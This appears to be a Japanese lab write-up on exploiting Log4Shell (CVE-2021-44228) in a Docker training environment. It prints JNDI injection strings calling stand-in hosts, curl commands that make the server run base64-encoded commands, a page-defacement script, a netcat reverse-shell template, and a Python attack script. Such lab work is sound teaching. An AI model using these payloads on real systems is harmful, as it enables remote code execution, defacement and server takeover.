
Log4Shell CVE-2021-44228 デモ
2021 年末、セキュリティ業界最大のニュースは Log4j の脆弱性で、CVE-2021-44228 として識別され、Log4Shell とも呼ばれています。CVSS 脆弱性評価システムでは、最も深刻なレベルである 10 点と評価され、Heartbleed や ShellShock に次ぐ、近年で最も重大な脆弱性とも考えられています。中にはこれを「核弾頭級の脆弱性」と表現する人もおり、この脆弱性の影響の大きさがうかがえます。今回のプロジェクトでは、CVE-2021-44228 を分析し、ラボ演習を併せて実施します。
ログファイル(記録ファイル)とは、実行中のオペレーティングシステムやソフトウェアで発生したイベントを記録したファイル、またはネットワークチャットソフトウェアのユーザー間で送信されたメッセージを記録したファイルです。多くのオペレーティングシステム、ソフトウェアフレームワーク、プログラムにはログファイルシステムが含まれています。Java には、Log4j という非常に便利なログパッケージがあります。このパッケージは Apache ソフトウェア財団に属しているため、正式名称は Apache Log4j とも呼ばれます。
Log4j は非常に便利なツールで、Java プログラムで広く使用されています。ソフトウェアエンジニアは、実行中のプログラムのデータをログファイルや他のデータベースに書き込み、後で使用することがよくあります。これが Log4j の用途です。ある場所から文字列(例:ログイン画面で入力されたユーザー ID)を受け取り、その文字列を別の場所(例:認証プロセスのデータ入力フィールド)に書き込みます。基本的なコピー/貼り付けに加えて、Log4j は文字列の内容を検査して解釈することもできます。この解釈は危険な動作です。プログラムが事前に文字列を適切に処理しない限り、解釈時に問題が発生しやすいためです。Log4j は文字列を事前に処理してから解釈することはないため、攻撃者にインジェクション攻撃(injection)の機会を与えます。
CVE-2021-44228 は、認証されていない攻撃者による Java サーバーへの RCE(Remote Code Execution、リモートコード実行攻撃)を可能にする重大な脆弱性です。この脆弱性は、log4j がログメッセージを処理する方法に起因します。攻撃者が細工されたメッセージ(${jndi:ldap://rogueldapserver.com/a} のような文字列を含む)を送信すると、external code class や message lookup が読み込まれて実行され、RCE が発生する可能性があります。

以下は RCE の基本的なフローです。
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
最初に SEED Ubuntu 20.04 VM をダウンロードしてください。この VM にはインストール済みの docker 環境が用意されています。ダウンロード
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
手順を簡素化するため、すべてのサーバーは同じ LAN 内に配置されています。

この Task では、log4j の動作に慣れることができます。X-Api-Version ヘッダーを使用して、log4j でログを記録できます。
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
Server が送信したリクエストを正しく解析すると、Hello World! が返されます。
レポートには、Server が返した結果と、Server がリクエストを正しく解析してログを記録したかどうかを記録してください。
2013 年、Log4j パッケージに「JNDILookup プラグイン」が追加され、開発者が JNDI と LDAP を組み合わせて、外部の JNDITutorial Java データオブジェクトを取得できるようになりました。
次に、先ほど使用した log4j と JNDIExploit を組み合わせて、Server に実行させたいコマンドを実行させます。
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
/tmp フォルダ内に secret.txt ファイルを作成し、server 内に入ってファイルが正常に作成されたかどうかを確認してください。
Note-1: <content> にはコマンドを直接入れることはできません。変換が必要です。
Note-2:vulnerable-appには使用可能な/bin/bashシェルがないため、ファイルを確認する場合は docker コマンドを使用できます。
$ docker exec vulnerable-app ls /tmp
これまでの task により、vulnerable-app が攻撃者の base64 コマンドを実行することがわかりました。攻撃者がより複雑な操作を行いたい場合は、shell script 攻撃スクリプトを送信して server に実行させることができます。
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
上記はウェブサイトのスコアを変更するスクリプトです。スコアは index.html 内に保存されています。まずこのスクリプトを正常に実行し、どこが変わるかを指摘してください。その後、このスクリプトを変更して、スコアを任意の数字に変更してください。
Note-1: ファイルを簡単に変更する方法として、
sedもあります。
Note-2:vulnerable-appはブラウザ経由で /var/www を確認できないため、ファイルを確認する場合は docker コマンドを使用できます。
$ docker exec vulnerable-app cat /var/www/index.html
これまでの Task により、実行したいコマンドを base64 に変換して server に実行させることができるようになりました。server を完全に制御するために、コマンドを使用して reverse shell を確立できます。
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
作業を簡単にするため、攻撃用の python スクリプトを提供します。
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Note:
vulnerable-appには/bin/bashと/dev/tcpがないため、通常の reverse shell の方法は使用できません。ただし、pipe ファイルを作成して読み書きを行うことはできます。
$ mkfifo <file-name>
https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641